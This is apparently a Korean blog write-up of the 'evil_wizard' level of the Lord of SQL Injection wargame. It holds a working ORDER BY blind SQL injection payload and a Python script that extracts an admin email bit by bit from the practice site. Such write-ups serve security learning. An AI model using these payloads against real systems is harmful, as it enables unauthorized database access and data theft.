ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [LOS] 24. evil_wizard 문제 풀이
    Wargame/LOS (Lord of SQL Injection) 2019. 8. 6. 00:13

    evil_wizard

    hell_fire 문제와 비슷한 것 같지만... preg_match 함수의 필터링 목록에 sleep까지 포함되어 있어서 시간 기반 Blind SQL 인젝션을 사용할 수 없다.

     

    일단 테이블에 뭐가 있는지 알아보기 위해 order에 1을 넣어보았다.

    hell_fire에서 admin의 score이 200이었던 것에 반해, 이번에는 admin의 score이 50이었다. 즉, id로 정렬하든 score로 정렬하든 똑같은 결과가 나온다. 

     

    그래서 이번에도 if문을 사용하여, 조건문이 참이면 score로 정렬하고, 거짓이면 출력이 되지 않게끔 아래와 같이 설정했다.

    ?order=if(id='admin' and length(email)>0,score,2000)

     

    그런데 의도와는 달리 조건문이 거짓일 때 테이블이 아예 출력되지 않거나 그러진 않고 rubiya가 먼저 나왔다.

    (어쨌든 참/거짓은 구별 가능해서 이대로 하기로 함)

     

    조건문이 참일 때 → admin이 먼저 나옴
    조건문이 거짓일 때 → rubiya가 먼저 나옴

     

    위와 같은 페이로드를 작성해서 email의 길이를 알아보니 30이었다.

     

    이제 email이 무엇인지만 찾으면 된다.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    import requests
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
     
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    headers = {'Cookie':'PHPSESSID=your_session_id'}
    URL = "https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?"
     
     
    email_length = 30
    bit_length = 16
    email = ''
     
    print("\n=== Find Admin Email ===\n")
     
    for i in range(1, email_length+1):
        bit = ''
        
        for j in range(1, bit_length+1):
            payload = "order=if(id='admin' and substr(lpad(bin(ord(substr(email,{},1))),{},0),{},1)=1,score,2000)".format(i, bit_length, j)
            res = requests.get(url=URL+payload, headers=headers, verify=False)
            
            if '<td>50</td></tr><tr><td>rubiya</td>' in res.text:
                # True -> bit == 1
                bit += '1'
            else:
                # error occured -> bit == 0
                bit += '0'
     
        email += chr(int(bit, 2))
        print("email (count %02d): %s (bit: %s, hex: %s)" % (i, chr(int(bit, 2)), bit, hex(int(bit, 2))))
     
    print('\n>>> Final Email: %s' % email)
     

    프로그램을 돌려본 결과 admin의 email은 aasup3r_secure_email@emai1.com이다.

     

    ?email=aasup3r_secure_email@emai1.com

    EVIL_WIZARD Clear!

    'Wargame > LOS (Lord of SQL Injection)' 카테고리의 다른 글

    [LOS] 23. hell_fire 문제 풀이  (0) 2019.08.01
    [LOS] 22. dark_eyes 문제 풀이  (0) 2019.07.31
    [LOS] 21. iron_golem 문제 풀이  (2) 2019.07.30
    [LOS] 20. dragon 문제 풀이  (0) 2019.07.29
    [LOS] 19. xavis 문제 풀이  (4) 2019.07.24
Designed by Tistory.